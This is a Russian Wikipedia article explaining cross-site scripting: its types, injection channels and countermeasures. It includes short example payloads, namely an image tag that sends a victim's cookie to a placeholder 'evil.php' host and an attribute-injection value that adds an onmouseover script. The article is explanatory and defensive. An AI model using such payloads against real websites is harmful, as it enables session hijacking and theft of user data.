Межсайтовый скриптинг

Материал из Википедии — свободной энциклопедии
Перейти к: навигация, поиск

XSS (англ. Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента.

Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующих сокращение «CSS».

Из статистических данных на 2012 год XSS составляют 26 % и занимают первое место среди остальных уязвимостей[1]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора). На популярном сайте скрипт может устроить DoS-атакy.

Содержание

[править] Классификация

[править] По механизму исполнения атаки

Условно XSS можно разделить на активные и пассивные.

[править] Пассивные

Пассивные XSS подразумевают, что скрипт не хранится на сервере уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для срабатывания пассивной XSS требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например, клик по специально сформированной ссылке). Их также называют первым типом XSS.

[править] Активные

При активных XSS вредоносный скрипт хранится на сервере, и срабатывает в браузере жертвы при открытии какой-либо страницы зараженного сайта. Их также называют вторым типом XSS.

[править] Скриптинг через DOM

[править] По каналам внедрения скрипта

[править] Отсутствие фильтрации HTML-тегов в сообщениях пользователей

Некоторые форумы позволяют пользователю использовать HTML-теги для форматирования текста. Если отсутствует должный уровень фильтрации, злонамеренный пользователь может вставить такие теги <script>, который будет отправлять злоумышленику HTTP-Cookie пользователей, открывших некоторую тему форума или незаметно открывать произвольную ссылку в контексте браузера пользователя.

Подробнее:

  • Злоумышленник, пользуясь имеющимися на сайте средствами наподобие «отправить комментарий» посылает комментарий, содержащий тег <script>.
  • Написанный злоумышленником скрипт имеет доступ к пользовательским HTTP-Cookie. Скрипт ворует их, отправляя их на другой сайт (например, создав тег <img src="http://example.com/evil.php?cookie=1234">).

Для защиты от этого вида атак следует удалить все теги, кроме входящих в разрешённый список.

[править] Отсутствие фильтрации атрибутов и их значений разрешённых тегов

Данная уязвимость, в отличие от предыдущей, не специфична для html-форматирования сообщений пользователя. Наиболее ярким примером её является тег img. Например: подставив в качестве URL изображения http://example.com/img.png" onmouseover="javascript:DoSomething();, мы «протаскиваем» в тег пользовательский скрипт. В частности, подобная уязвимость была обнаружена в известном форумном движке phpBB в 2002 году.[2][3]

Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF-атаку.

Для защиты от уязвимостей данного типа требуется жёсткая фильтрация, как названий атрибутов, так и их значений. Также следует запретить использование протоколов javascript: и data: во всех ссылках.

Такой же способ может быть использован путем вставки на странице изображения, сделанного через PHP-файл, содержащий как само изображение, так и вредоносный код.

[править] Подмена кодировки в заголовке страницы

Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег title расположен до тега meta и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как < и ".[4][5]

Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей.

[править] Прочие

Возможно использование XSS атаки совместно с внедрением SQL-кода.

[править] Ссылки

[править] Примечания


Личные инструменты
Пространства имён

Варианты
Действия
Навигация
Участие
Печать/экспорт
Инструменты
На других языках